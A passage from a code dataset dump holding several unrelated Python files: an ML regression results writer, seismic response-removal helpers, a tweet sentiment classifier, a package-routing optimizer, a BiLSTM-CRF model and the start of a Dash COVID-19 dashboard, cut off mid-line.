= ML.fun.Run_Regression_Model(df, reg, cv_num, ALG, df_unknowns, ho_df, cv_sets, j)\n\t\t\tresults_ho.append(result_ho)\n\t\telse:\n\t\t\tresult,cv_pred,importance = ML.fun.Run_Regression_Model(df, reg, cv_num, ALG, df_unknowns, ho_df, cv_sets, j)\n\t\t\n\t\tresults.append(result)\n\t\tpredictions[rep_name] = cv_pred\n\t\t\n\t\ttry:\n\t\t\timp[rep_name] = importance\n\t\texcept:\n\t\t\ttry:\n\t\t\t\timp[rep_name] = importance[0]\n\t\t\texcept:\n\t\t\t\tprint(\"Cannot parse importance scores!\")\n\n\tprint(\"ML Pipeline time: %f seconds\" % (time.time() - start_time))\n\n\n\t\n\t####### Unpack ML results #######\n\ttimestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n\n\tmses, evss, r2s, cors = [], [], [], []\n\tfor r in results:\n\t\tmses.append(r[0])\n\t\tevss.append(r[1])\n\t\tr2s.append(r[2])\n\t\tcors.append(r[3])\n\n\tMSE_stats = [np.mean(mses), np.std(mses), np.std(mses)/np.sqrt(len(mses))]\n\tEVS_stats = [np.mean(evss), np.std(evss), np.std(evss)/np.sqrt(len(evss))]\n\tr2_stats = [np.mean(r2s), np.std(r2s), np.std(r2s)/np.sqrt(len(r2s))]\n\tPCC_stats = [np.mean(cors), np.std(cors), np.std(cors)/np.sqrt(len(cors))]\n\n\t# Get scores from hold out validation set:\n\tif ho != '':\n\t\tmses_ho, evss_ho, r2s_ho, cors_ho = [], [], [], []\n\t\tfor r in results_ho:\n\t\t\tmses_ho.append(r[0])\n\t\t\tevss_ho.append(r[1])\n\t\t\tr2s_ho.append(r[2])\n\t\t\tcors_ho.append(r[3])\n\n\t\tMSE_ho_stats = [np.mean(mses_ho), np.std(mses_ho), np.std(mses_ho)/np.sqrt(len(mses_ho))]\n\t\tEVS_ho_stats = [np.mean(evss_ho), np.std(evss_ho), np.std(evss_ho)/np.sqrt(len(evss_ho))]\n\t\tr2_ho_stats = [np.mean(r2s_ho), np.std(r2s_ho), np.std(r2s_ho)/np.sqrt(len(r2s_ho))]\n\t\tPCC_ho_stats = [np.mean(cors_ho), np.std(cors_ho), np.std(cors_ho)/np.sqrt(len(cors_ho))]\n\t\n\telse:\n\t\tMSE_ho_stats, EVS_ho_stats, r2_ho_stats, PCC_ho_stats = ['na', 'na', 'na'],['na', 'na', 'na'],['na', 'na', 'na'],['na', 'na', 'na']\n\n\n\t# Get average predicted value\n\tpred_columns = [c for c in predictions.columns if c.startswith('rep_')]\n\tpredictions.insert(loc=1, column = 'Mean', value = predictions[pred_columns].mean(axis=1))\n\tpredictions.insert(loc=2, column = 'stdev', value = predictions[pred_columns].std(axis=1))\n\n\tscores_file = SAVE + \"_scores.txt\"\n\tif short_scores == True:\n\t\t\tpredictions.to_csv(scores_file, sep='\\t', columns=['Y','Mean','stdev'])\n\telse:\n\t\tpredictions.to_csv(scores_file, sep='\\t')\n\n\t# Plot results\n\tif plots.lower() == 'true' or plots.lower() == 't':\n\t\tprint(\"\\nGenerating prediction plot\")\n\t\tpr = ML.fun.PlotsReg(predictions, SAVE)\n\t\t\n\t# Export importance scores\n\ttry:\n\t\timp['mean_imp'] = imp.mean(axis=1)\n\t\timp = imp.sort_values('mean_imp', 0, ascending = False)\n\t\timp_out = SAVE + \"_imp\"\n\t\timp['mean_imp'].to_csv(imp_out, sep = \"\\t\", index=True)\n\texcept:\n\t\tpass\n\n\trun_time = time.time() - start_total_time\n\n\t# Save to summary RESULTS file with all models run from the same directory\n\tif not os.path.isfile('RESULTS_reg.txt'):\n\t\tout2 = open('RESULTS_reg.txt', 'a')\n\t\tout2.write('DateTime\\tRunTime\\tID\\tTag\\tY\\tAlg\\tNumInstances\\tFeatureNum\\tCVfold\\tCV_rep\\t')\n\t\tout2.write('MSE\\tMSE_sd\\tMSE_se\\tEVS\\tEVS_sd\\tEVS_se\\tr2\\tr2_sd\\tr2_se\\tPCC\\tPCC_sd\\tPCC_se\\t')\n\t\tout2.write('MSE_ho\\tMSE_ho_sd\\tMSE_ho_se\\tEVS_ho\\tEVS_ho_sd\\tEVS_ho_se\\tr2_ho\\tr2_ho_sd\\tr2_ho_se\\tPCC_ho\\tPCC_ho_sd\\tPCC_ho_se\\n')\n\t\tout2.close()\n\n\tout2 = open('RESULTS_reg.txt', 'a')\n\tout2.write('%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%i\\t%i\\t%i\\t%i\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\n' % (\n\t\ttimestamp, run_time, SAVE, TAG, y_name, ALG, len(df.index), n_features, cv_num , cv_reps, \n\t\t'\\t'.join(str(x) for x in MSE_stats), '\\t'.join(str(x) for x in EVS_stats), \n\t\t'\\t'.join(str(x) for x in r2_stats), '\\t'.join(str(x) for x in PCC_stats),\n\t\t'\\t'.join(str(x) for x in MSE_ho_stats), '\\t'.join(str(x) for x in EVS_ho_stats), \n\t\t'\\t'.join(str(x) for x in r2_ho_stats), '\\t'.join(str(x) for x in PCC_ho_stats), ))\n\n\n\t# Save detailed results file \n\twith open(SAVE + \"_results.txt\", 'w') as out:\n\t\tout.write('%s\\nID: %s\\nTag: %s\\nPredicting: %s\\nAlgorithm: %s\\nNumber of Instances: %s\\nNumber of features: %i\\n' % (\n\t\t\ttimestamp, SAVE, TAG, y_name, ALG, len(df.index), n_features))\n\t\tout.write('CV folds: %i\\nCV_reps: %i\\nParameters used:%s\\n' % (cv_num, cv_reps, params2use))\n\t\tout.write('Metric\\tMean\\tstd\\tSE\\n')\n\t\tout.write('MSE\\t%s\\nEVS\\t%s\\nR2\\t%s\\nPCC\\t%s\\n' % (\n\t\t\t'\\t'.join(str(x) for x in MSE_stats), '\\t'.join(str(x) for x in EVS_stats), \n\t\t\t'\\t'.join(str(x) for x in r2_stats), '\\t'.join(str(x) for x in PCC_stats)))\n\n\t\tif ho != '':\n\t\t\tout.write('\\n\\nResults from the hold out validation set\\n')\n\t\t\tout.write('Metric\\tMean\\tstd\\tSE\\n')\n\t\t\tout.write('HO MSE\\t%s\\nHO EVS\\t%s\\nHO R2\\t%s\\nHO PCC\\t%s\\n' % (\n\t\t\t'\\t'.join(str(x) for x in MSE_ho_stats), '\\t'.join(str(x) for x in EVS_ho_stats), \n\t\t\t'\\t'.join(str(x) for x in r2_ho_stats), '\\t'.join(str(x) for x in PCC_ho_stats)))\n\n\n\tprint(\"\\n\\n===> ML Results <===\")\n\tprint('Metric\\tMean\\tstd\\tSE')\n\tprint('MSE\\t%s\\nEVS\\t%s\\nR2\\t%s\\nPCC\\t%s\\n' % (\n\t\t'\\t'.join(str(x) for x in MSE_stats), '\\t'.join(str(x) for x in EVS_stats), \n\t\t'\\t'.join(str(x) for x in r2_stats), '\\t'.join(str(x) for x in PCC_stats)))\n\n\tif ho !='':\n\t\tprint('\\n\\nHold Out Set Scores:\\nMetric\\tMean\\tstd\\tSE\\n')\n\t\tprint('MSE\\t%s\\nEVS\\t%s\\nR2\\t%s\\nPCC\\t%s\\n' % (\n\t\t\t'\\t'.join(str(x) for x in MSE_ho_stats), '\\t'.join(str(x) for x in EVS_ho_stats), \n\t\t\t'\\t'.join(str(x) for x in r2_ho_stats), '\\t'.join(str(x) for x in PCC_ho_stats)))\n\n\tprint('\\nfinished!')\n\nif __name__ == '__main__':\n\tmain()","sub_path":"ML_regression.py","file_name":"ML_regression.py","file_ext":"py","file_size_in_byte":16361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"234425906","text":"# -------------------------------\n#| Robert Green GFZ Potsdam |\n#| 2017-11-03 |\n# -------------------------------\n\"\"\"\nModule containing functions for use in instrument response removal.\n\"\"\"\n\ndef deconvolve_with_pz(st,response_prefilt,pz) :\n '''\n Deconvolves stream using the supplied polezero dictionary\n -Demeans and detrends each trace of stream\n -Applies 1% taper to prevent ringing at the end of traces\n -Prefilters data prior to deconvolution to prevent amplication of noise\n\n response_prefilt=(f1,f2,f3,f4) - tuple, where f1= 2*f3\n\n Taper fraction 0.01 means you lose 7 mins both at start and end of a 24 hour file\n\n Obspy pole-zero dictionaries\n (1) \"poles\" should be a list of tuples, e.g. [(x+yj),(r+sj)]\n (2) \"zeros\" should be a list of complexes, e.g. [0j,0j]\n (3) \"sensitivity\" is the total sensitivity and is used if remove_sensitivity=true \n \"digitizer gain\" and \"seismometer gain\" are floats but are passive and there for reference. \n Multiplied together they give the \"sensitivity\"\n (4) \"gain\" is actually the A0 normalisation factor, the factor that defines the amplitude of pole-zero\n curve at 1 Hz.\n\n N.B. In most case using the poles and zeros is sufficient for instrument response\n removal, unless you are working close to the NYQUIST frequency, in which case the\n effects of the FIR filters can become more important. The FIR filter can cause:\n -Slight rippling (in amplitude) near Nyquist frequency\n -Acausal ringing for sharp onsets (ringing is at frequencies near Nyquist)\n\n '''\n for tr in st :\n tr.detrend('demean')\n tr.detrend('linear')\n st.simulate(paz_remove=pz,remove_sensitivity=True,\n pre_filt=response_prefilt,paz_simulate=None,\n taper=True, taper_fraction=0.01)\n return st\n\n\ndef get_pazdictfrominventory(inventory,tr):\n ''' Reads an obspy station inventory object and\n for a given trace returns the obspy paz dictionary \n\n Obspy pole-zero dictionaries\n (1) \"poles\" should be a list of tuples, e.g. [(x+yj),(r+sj)]\n (2) \"zeros\" should be a list of complexes, e.g. [0j,0j],\n (3) \"sensitivity\" is the total sensitivity and is used if remove_sensitivity=true \n \"digitizer gain\" and \"seismometer gain\" are floats but are passive and there for reference. \n Multiplied together they give the \"sensitivity\"\n (4) \"gain\" is actually the A0 normalisation factor, the factor that defines the amplitude of pole-zero\n curve at 1 Hz.\n '''\n inv=inventory.get_response(tr.id,tr.stats.starttime)\n polezerostage=inv.get_paz()\n totalsensitivity=inv.instrument_sensitivity\n pzdict={}\n pzdict['poles']=polezerostage.poles\n pzdict['zeros']=polezerostage.zeros\n pzdict['gain']=polezerostage.normalization_factor\n pzdict['sensitivity']=totalsensitivity.value\n return pzdict\n\n\ndef read_sacpzfile(file):\n ''' Reads a sac format poles-zero file\n Expects ZEROS, POLES and CONSTANT as keywords\n Returns a paz dictionary \n Gain is set to 1. \n Sensitivity is set to CONSTANT \n\n Obspy pole-zero dictionaries\n (1) \"poles\" should be a list of tuples, e.g. [(x+yj),(r+sj)]\n (2) \"zeros\" should be a list of complexes, e.g. [0j,0j]\n (3) \"sensitivity\" is the total sensitivity and is used if remove_sensitivity=true \n \"digitizer gain\" and \"seismometer gain\" are floats but are passive and there for reference. \n Multiplied together they give the \"sensitivity\"\n (4) \"gain\" is actually the A0 normalisation factor, the factor that defines the amplitude of pole-zero\n curve at 1 Hz.\n\n '''\n from obspy.core import UTCDateTime\n fid=open(file)\n instpaz={'gain':1.}\n Z=False\n P=False\n zeros=[];poles=[]\n for line in fid:\n line=line.rstrip()\n line=line.split()\n if line[0] == 'CONSTANT':\n instpaz['sensitivity']=float(line[1])\n continue\n if line[0] == 'ZEROS':\n numofZ=int(line[1])\n Z=True\n zcount=0\n continue\n if Z:\n zeros.append(complex(float(line[0]),float(line[1])))\n zcount+=1\n if zcount == numofZ:\n Z=False\n instpaz['zeros']=zeros\n if line[0] == 'POLES':\n numofP=int(line[1])\n P=True\n pcount=0\n continue\n if P:\n poles.append(complex(float(line[0]),float(line[1])))\n pcount+=1\n if pcount == numofP:\n P=False\n instpaz['poles']=poles\n fid.close()\n return instpaz\n","sub_path":"greentools/response_removal.py","file_name":"response_removal.py","file_ext":"py","file_size_in_byte":4892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"206790799","text":"\nimport re\nimport string\nimport csv\nfrom vaderSentiment.vaderSentiment import sentiment as vaderSentiment\nfrom pymongo import MongoClient\nimport reader\nfrom collections import Counter\n\n\n#stop_words |= set(['URL', 'ATUSER', 'obama', 'barack', 'romney', 'mitt', 'rt', 'election', 'vote'])\ntrump_words = {'#tcot': 'r', 'tlot': 'r', '#teaparty': 'r', '#conservative': 'r', '#ocra': 'r'}\nswing_words = set(['#vote', '#obama', '#romney', '#gop'])\nbad_words = set(['canada', 'hunger'])\nfeat_list = set([])\nvader_threshold = 0.05\n\n'''\ndef processTweet(tweet):\n\ttweet = tweet.lower()\n\ttweet = re.sub('((www\\.[^\\s]+)|((http|https)://[^\\s]+))', 'URL', tweet)\n\ttweet = re.sub('@[^\\s]+', 'ATUSER', tweet)\n\ttweet = tweet.translate(string.maketrans(\"\",\"\"), string.punctuation)\n\treturn tweet\t\n\ndef replaceOverTwo(word):\n\tpattern = re.compile(r\"(.)\\1{1,}\", re.DOTALL)\n\treturn pattern.sub(r\"\\1\\1\", word)\n\ndef getFeatVector(tweet):\n\tvec = []\n\twords = tweet.split(\" \")\n\tfor w in words:\n\t\tw = replaceOverTwo(w)\n\t\tx = re.search(r\"^[a-zA-Z][a-zA-Z0-9]*$\", w)\n\t\tif w not in stop_words and x != None:\n\t\t\tvec.append(w)\n\treturn vec\n\ndef extractFeatures(vec):\n\twords = set(vec)\n\tfeats = {}\n\tfor feat in feat_list:\n\t\tif feat in words:\n\t\t\tfeats[feat] = True\n\t\telse:\n\t\t\tfeats[feat] = False\n\treturn feats\n\ndef getTrainingSet():\n\n\tglobal feat_list\n\n\ttweets = []\n\tfilename = 'training1.csv'\n\n\twith open(filename, 'rb') as fin:\n\t\tcsvin = csv.reader(fin)\n\t\tfor row in csvin:\n\t\t\tsentiment = ''\n\t\t\tif row[0] == '0':\n\t\t\t\tsentiment = '-'\n\t\t\telif row[0] == '4':\n\t\t\t\tsentiment = '+'\n\t\t\telse:\n\t\t\t\tsentiment = '0'\n\t\t\ttweets.append((getFeatVector(processTweet(row[5])), sentiment))\n\n\tprint(\"TEST1\")\n\tfor t in tweets:\n\t\tfeat_list |= set(t[0])\n\tprint(\"TEST2\")\n\treturn nltk.classify.util.apply_features(extractFeatures, tweets)\n\ndef NaiveBayes():\n\ttraining_set = getTrainingSet()\n\tprint(len(training_set))\n\tprint(type(training_set))\n\tclassifier = nltk.NaiveBayesClassifier.train(training_set)\n\tprint(\"TEST3\")\n\tprint(classifier.show_most_informative_features(20))\n'''\n\ndef getTrainingSet():\n\n\tfilename = 'debate08_sentiment_tweets.tsv'\n\tfeat_list = {}\n\n\twith open(filename, 'rU') as fin:\n\t\treader = csv.reader(fin, delimiter='\\t')\n\t\tfor row in reader:\n\t\t\tif row[0][0] != '9':\n\t\t\t\tcontinue\n\t\t\ttext = row[2]\n\t\t\ttext = processTweet(text)\n\t\t\t\n\t\t\tscore = 0\n\t\t\tfor i in xrange(5, len(row)):\n\t\t\t\tif row[i] == '1':\n\t\t\t\t\tscore -= 1\n\t\t\t\tif row[i] == '2':\n\t\t\t\t\tscore += 1\n\n\tfeat_counts = Counter(feat_list).most_common\n\n\n\ndef score_to_sentiment(score):\n\tsentiment = 'neu'\n\tif score > vader_threshold:\n\t\tsentiment = 'pos'\n\tif score < -vader_threshold:\n\t\tsentiment = 'neg'\n\treturn sentiment\n\ndef getVADERSentiment(text):\n\ttext = text.lower()\n\tscore = vaderSentiment(text)['compound']\n\tsentiment = score_to_sentiment(score)\n\tsubject = reader.getSubject(text)\n\n\t#if sentiment == 'neu':\n\tfor w in trump_words:\n\t\tif w in text:\n\t\t\tif trump_words[w] == subject:\n\t\t\t\treturn 'pos'\n\t\t\treturn 'neg'\n\tfor w in swing_words:\n\t\tif w in text:\n\t\t\treturn 'pos'\n\tfor w in bad_words:\n\t\tif w in text:\n\t\t\treturn 'neg'\n\n\treturn sentiment\n\ndef ClassifyAll(func):\n\tclient = MongoClient()\n\tdb = client.twitter\n\ttweets = db.tweets.find()\n\tfor t in tweets:\n\t\ttext = t['text'].encode('utf-8')\n\t\tsentiment = func(text)\n\t\tdb.tweets.update_one(\n\t\t\t{'id': t['id']}, \n\t\t\t{'$set': {'sentiment': sentiment}}\n\t\t)\n\ndef test(func, method, filename):\n\tcorrect = 0\n\ttotal = 0\n\twith open(filename, 'rb') as fin:\n\t\treader = csv.reader(fin)\n\t\tfor row in reader:\n\t\t\tanswer = int(row[0])\n\t\t\tsent = func(row[5])\n\t\t\tscore = 2\n\t\t\tif sent == 'pos':\n\t\t\t\tscore = 4\n\t\t\tif sent == 'neg':\n\t\t\t\tscore = 0\n\t\t\tif score == answer:\n\t\t\t\tcorrect += 1\n\t\t\ttotal += 1\n\tprint('%s Accuracy: %.3f%%' %(method, float(correct)/total*100))\n\n","sub_path":"sent_analysis.py","file_name":"sent_analysis.py","file_ext":"py","file_size_in_byte":3708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"358131541","text":"#!/cygdrive/c/Python34/python\n\"\"\"\nFunctions for route optimization. If run independently, this script\ntakes in two arguments, the from and to stops, and prints out\nseveral viable routes based on different parameters.\n\"\"\"\nfrom netgraph import NetGraph\nimport argparse\nimport sys\nimport itertools\nimport namespace\nimport random\nimport gen\nimport csv\nfrom debug import *\nfrom exceptions import *\nfrom datetime import timedelta\n\n\nROUTE_DEBUG = True\n\n\ndef route_dprint(fmt, args=None):\n if ROUTE_DEBUG:\n if args is not None:\n dprint(fmt % args)\n else:\n dprint(fmt)\n\n\ndef route(G, candidates, params):\n \"\"\"\n Find paths for each of package in candidates.\n candidates is a list of 3-tuples (packageid, from, to)\n\n params are the optimization parameters to use.\n params.k is the number of paths to consider for each (from, to) pair.\n params.sampling_method = [\"single_sequencial\" | \"batch_sequencial\" | \"random\"]\n \"sequencial\" routes all package from a stop at a time.\n \"random\" picks a random stop, routes a single package from that stop and repeats until\n all are routed.\n\n This method gives a generator of (pid, path)\n \"\"\"\n # for some overall stats\n total_lat = timedelta()\n total_packages_received = len(candidates)\n total_packages_routed = 0\n min_lat = timedelta(days=10)\n max_lat = timedelta()\n paths_found = 0\n\n # a dict of the routing requests and info associated.\n reqs = {}\n reqs2 = {}\n for p, s, t in candidates:\n if (s, t) in reqs:\n reqs[(s, t)].packages_to_route.append(p)\n else:\n # initialize records.\n reqs[(s, t)] = namespace.Namespace()\n reqs[(s, t)].packages_to_route = [p]\n reqs[(s, t)].packages_routed = []\n reqs[(s, t)].paths = None\n\n # get possible paths from each stop to each destination and update reqs.\n for (s, t), rec in reqs.items():\n paths = G.k_shortest_paths(s, t, params.k)\n rec.paths = paths\n if len(paths) > 0:\n paths_found += 1\n\n # Compute flow\n mf = G.max_flow(reqs.keys())\n\n # Summary.\n for (s, t), rec in reqs.items():\n route_dprint(\"Packages to route from %d to %d\" % (s, t))\n route_dprint(rec.packages_to_route)\n route_dprint(\"\\nPossible paths: \")\n if len(rec.paths) == 0:\n route_dprint(\"no paths found\")\n for path in rec.paths:\n route_dprint(path)\n route_dprint(\"\\n\\n\")\n\n # write out the graph we're operating on.\n G.view(filename=\"diagrams/latest.gv\")\n\n # Route############################################\n\n # Initialize 'assigned' attribute of each edge.\n for edge in G.edges().values():\n edge[\"assigned\"] = 0\n\n if params.sampling_method == \"batch\":\n # for each (from, to) pair, route as many packets as possible.\n for rec in reqs.values():\n # for each package, use the first path that works.\n for pid in rec.packages_to_route:\n for path in rec.paths:\n try:\n path.use(pid)\n except PathFull:\n route_dprint(\"path full\")\n continue\n else:\n # I got a valid path. update records.\n rec.n_packages_routed += 1\n lat = path.latency()\n total_lat += lat\n total_packages_routed += 1\n if lat < min_lat:\n min_lat = lat\n if lat > max_lat:\n max_lat = lat\n\n route_dprint(\"\\nPATH CHOSEN for package %d: \", args=pid)\n route_dprint(path)\n yield (pid, path)\n break\n\n elif params.sampling_method == \"random\":\n # pick a random (from, to) pair, route a single package. Repeat until all\n # are routed. or until 50 consecutive failures to route.\n # Initialize flows to maximum (i.e, capacity)\n for edge in G.edges().values():\n edge[\"assigned\"] = 0\n edge[\"flow\"] = edge[\"capacity\"]\n\n for i in range(len(reqs)):\n\n # attempt to route a random package\n (s, t) = random.choice([k for k in reqs.keys()])\n rec = reqs[(s, t)]\n if len(rec.paths) == 0:\n route_dprint(\"no paths\")\n continue\n for j in range(len(rec.packages_to_route)):\n pid = rec.packages_to_route.pop()\n no_path_found = True\n for path in rec.paths:\n try:\n path.use(pid)\n except PathFull:\n route_dprint(\"path full\")\n continue\n else:\n # I got a valid path. update records.\n no_path_found = False\n rec.packages_routed.append(pid)\n lat = path.latency()\n total_lat += lat\n total_packages_routed += 1\n if lat < min_lat:\n min_lat = lat\n if lat > max_lat:\n max_lat = lat\n\n route_dprint(\"\\nPATH CHOSEN for package %d: \", args=pid)\n route_dprint(path)\n yield (pid, path)\n break\n if no_path_found:\n # put it back, and increment no_path_count.\n rec.packages_to_route.append(pid)\n reqs[(s, t)] = rec\n\n else:\n route_dprint(\"bad sampling type\")\n\n # Print out Summary. #########################################################\n route_dprint(\"=================================================\")\n route_dprint(\"Request Summary\")\n for (s, t), rec in reqs.items():\n print(\"%d->%d: %d packages\" % (s, t, len(rec.packages_to_route) + len(rec.packages_routed)))\n\n route_dprint(\"\\n\\nRouting Summary\")\n string = \"\"\n for (s, t), rec in reqs.items():\n string += \"%d->%d: routed %d/%d packages \\n\" % \\\n (s, t,\n len(rec.packages_routed),\n len(rec.packages_routed) + len(rec.packages_to_route))\n\n # global stats.\n if total_packages_routed > 0:\n string += \"\\nmaximum latency: %s\\n\" % str(max_lat)\n string += \"minimum latency: %s\\n\" % str(min_lat)\n string += \"average latency: %s\\n\" % str(total_lat/total_packages_routed)\n string += \"%d/%d packages routed.\\n\" % (total_packages_routed, total_packages_received)\n string += \"computed maximum flow: %f\\n\" % mf\n string += \"paths found: %d\" % paths_found\n\n route_dprint(string)\n\n route_dprint(\"==================================================\")\n\n\ndef print_routes(routes):\n \"\"\"\n Pretty-print routes to stdout.\n \"\"\"\n for pid, path in routes:\n string = \"Package ID: %d\" % pid\n string += str(path)\n print(string)\n\n\ndef run(G, tests, k=5, method=\"batch\"):\n \"\"\"\n If filename has been provided, run queries in the file. Otherwise generate\n queries using function, and run them.\n \"\"\"\n\n candidates = []\n if callable(tests):\n candidates = tests()\n else:\n # interpret as filename\n with open(tests, newline='') as testfile:\n # comments start with '#'. ignore blank lines.\n reader = csv.DictReader(filter(lambda rw: rw[0] != '#', testfile))\n for row in reader:\n if row:\n PID = int(row[\"PackageID\"].strip())\n From = int(row[\"From\"].strip())\n To = int(row[\"To\"].strip())\n candidates.append((PID, From, To))\n\n # Get params\n params = namespace.Namespace()\n params.k = k\n params.sampling_method = method\n\n route_dprint(\"Running test:\")\n for pid, s, t in candidates:\n route_dprint(\"%d, from %d to %d\", args=(pid, s, t))\n\n routes = route(G, candidates, params)\n for r in routes:\n pass\n\n\ndef main():\n parser = argparse.ArgumentParser()\n\n parser.add_argument('-g', '--graph',\n help='specify what kind of graph to build.',\n metavar='')\n parser.add_argument('-f', '--file',\n help='run tests on file provided',\n metavar='')\n parser.add_argument('-t', '--test',\n help='run randomized tests on graph built. '\n 'random queries are generated and stored in tests/random_stops.txt',\n metavar='')\n parser.add_argument('-k', '--k',\n help='no. of shortest paths to consider between each pair',\n metavar='')\n parser.add_argument('-m', '--method',\n help='sampling method to use',\n metavar='')\n\n args = parser.parse_args()\n\n if len(sys.argv) == 1:\n parser.print_usage()\n return\n\n # Get graph\n if args.graph:\n G = NetGraph(graphtype=args.graph)\n else:\n G = NetGraph()\n\n # run\n if args.file:\n if args.k:\n run(G, args.file, k=int(args.k))\n elif args.method:\n run(G, args.file, method=args.method)\n elif args.k and args.method:\n run(G, args.file, k=int(args.k), method=args.method)\n else:\n run(G, args.file)\n elif args.test:\n if args.k:\n run(G, lambda: gen.random_pairs(G, N=int(args.test)), k=int(args.k))\n elif args.method:\n run(G, lambda: gen.random_pairs(G, N=int(args.test)), method=args.method)\n elif args.k and args.method:\n run(G, lambda: gen.random_pairs(G, N=int(args.test)), k=int(args.k), method=args.method)\n else:\n run(G, lambda: gen.random_pairs(G, N=int(args.test)))\n\nif __name__ == \"__main__\":\n main()","sub_path":"route.py","file_name":"route.py","file_ext":"py","file_size_in_byte":10254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"611243058","text":"\"\"\"\noutput.py - module to store BiLSTM-CRF model\n\"\"\"\n\nimport numpy as np\nfrom tensorflow.keras import Model\nfrom tensorflow.keras.layers import Input, LSTM, Embedding, TimeDistributed, Dropout, Bidirectional, Dense\nfrom tensorflow.keras.initializers import Constant\nfrom .loss import CRF\n\ndef embedding_map(glove_path = 'glove.6B.200d.txt'):\n \"\"\"\n embedding_map - function to load weights of the pretrained Glove embedding file\n Parameters:\n glove_path I/P path to the pretrained Glove embedding file\n embedding_index\t\tO/p\tweights of the pretrained Glove embedding file\n \"\"\"\n embeddings_index = {}\n with open(glove_path) as f:\n for line in f:\n word, coefs = line.split(maxsplit = 1)\n coefs = np.fromstring(coefs, 'f', sep = ' ')\n embeddings_index[word] = coefs\n print('Found %s word vectors.' %len(embeddings_index))\n return embeddings_index\n\ndef embedding_layer(word2dix, input_dim, output_dim, input_length, mask_zero):\n embedding_index = embedding_map()\n\n embedding_matrix = np.zeros((input_dim, output_dim))\n for word, i in word2dix.items():\n embedding_vector = embedding_index.get(word)\n if embedding_vector is not None:\n embedding_matrix[i] = embedding_vector\n\n return Embedding(input_dim = input_dim, output_dim = output_dim, input_length = input_length, trainable = False, embeddings_initializer = Constant(embedding_matrix))\n\ndef bilstm_crf(word2dix, maxlen, n_tags, embedding_dim, n_words, mask_zero, training = True):\n \"\"\"\n bilstm_crf - module to build BiLSTM-CRF model\n Inputs:\n - input_shape : tuple\n Tensor shape of inputs, excluding batch size\n Outputs:\n - output : tensorflow.keras.outputs.output\n BiLSTM-CRF output\n \"\"\"\n input = Input(shape = (maxlen,))\n # Embedding layer\n embeddings = embedding_layer(word2dix = word2dix, input_dim = n_words + 1, output_dim = embedding_dim, input_length = maxlen, mask_zero = mask_zero)\n output = embeddings(input)\n\n # BiLSTM layer\n output = Bidirectional(LSTM(units = 50, return_sequences = True, recurrent_dropout = 0.1))(output)\n\n # Dense layer\n output = TimeDistributed(Dense(n_tags, activation = 'relu'))(output)\n\n output = CRF(n_tags, name = 'crf_layer')(output)\n return Model(input, output)\n","sub_path":"AdvancedML/BiLSTM-CRF/src/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"107539523","text":"import dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport dash_table as dt\nimport plotly.graph_objects as go\nimport plotly.express as px\nfrom dash.dependencies import Input, Output\n\nimport pandas as pd\n\n# external_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\nexternal_stylesheets = ['https://codepen.io/amyoshino/pen/jzXypZ.css']\n\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets)\n\nserver = app.server \n\napp.title = 'COVID-19 Dashboard'\n\n# ----------------- Styling ------------------------------------------------\n\ncolors = {\n 'background': '#222222',\n 'text': '#DCDCDC',\n 'grid': \"#434343\",\n 'line': '#72bcd4',\n 'bar': '#FFB266',\n}\n\nstats_charts_style = dict(\n\tplot_bgcolor = colors['background'],\n\tpaper_bgcolor = colors['background'],\n\tfont = {'color': colors['text']},\n\tmargin = {'l':90, 'b':40, 't':10, 'r':40}\n\n)\n\ntabs_styles = {'height': '44px', 'padding-left': 20, 'padding-right': 120}\n\ntab_style = {\n\t'borderBottom': '1px solid #d6d6d6',\n\t'padding': '6px',\n\t'fontWeight': 'bold',\n\t'backgroundColor': '#222222',\n\t'color': '#DCDCDC'\n}\n\ntab_selected_style = {\n\t'borderTop': '1px solid #d6d6d6',\n\t'borderBottom': '1px solid #d6d6d6',\n\t'backgroundColor': '#4682B4',\n\t'color': 'white',\n\t'padding': '6px'\n}\n\nindicator_style = {\n\t'backgroundColor': colors['line'],\n\t'display':'inline-block',\n\t'height': 130,\n\t'width': 180,\n\t'textAlign': 'center',\n\t'margin-right': 30,\n\t'color': colors['text'],\n\t'fontWeight': 'bold',\n\n}\n\n\n\n\n# ----------------- Part One Data Preparation -----------------------------------------------\n\n# import the data \nSPREADSHEET_ID = '1D6okqtBS3S2NRC7GFVHzaZ67DuTw7LX49-fqSLwJyeo'\nRANGE_NAME = 'Cases'\nurl = 'https://docs.google.com/spreadsheets/d/{0}/gviz/tq?tqx=out:csv&sheet={1}'.format(SPREADSHEET_ID, RANGE_NAME)\ndf = pd.read_csv(url)\n# Change datatype of some columns\ndf.provincial_case_id = df.provincial_case_id.astype('object')\ndf.travel_yn = df.travel_yn.astype('bool')\n# Define the date and time format and conver the 'date_report' column to datetime type\ndf['date_report'] = pd.to_datetime(df['date_report']).dt.strftime('%d/%m/%Y')\ndf['date_report'] = pd.to_datetime(df['date_report'])\n# data for all canada's cumulative case\ndff = df.copy()\ndff = dff.set_index('date_report')\n\n# draw the map\nprovince_case = pd.DataFrame(df.province.value_counts()).reset_index().\\\nrename(columns={'index':'province', 'province':'cases'})\n\ngeo = {'Quebec': [53, -70],\n 'Ontario': [50, -85],\n 'BC': [53.72669, -127.647621],\n 'Alberta': [55, -115],\n 'Nova Scotia': [45, -63], \n 'NL': [53, -60],\n 'Saskatchewan': [55, -106],\n 'New Brunswick': [46.498390, -66.159668],\n 'PEI': [46.25, -63],\n 'Yukon': [64, -135],\n 'NWT': [64.2667, -119.1833], \n 'Manitoba': [53.76086, -98.813873]}\n\ngeo_df = pd.DataFrame(geo).transpose().reset_index().\\\nrename(columns = {'index':'province', 0:'lat', 1: 'lon'})\n\nprovince_case = pd.merge(province_case, geo_df)\n\ntoken = 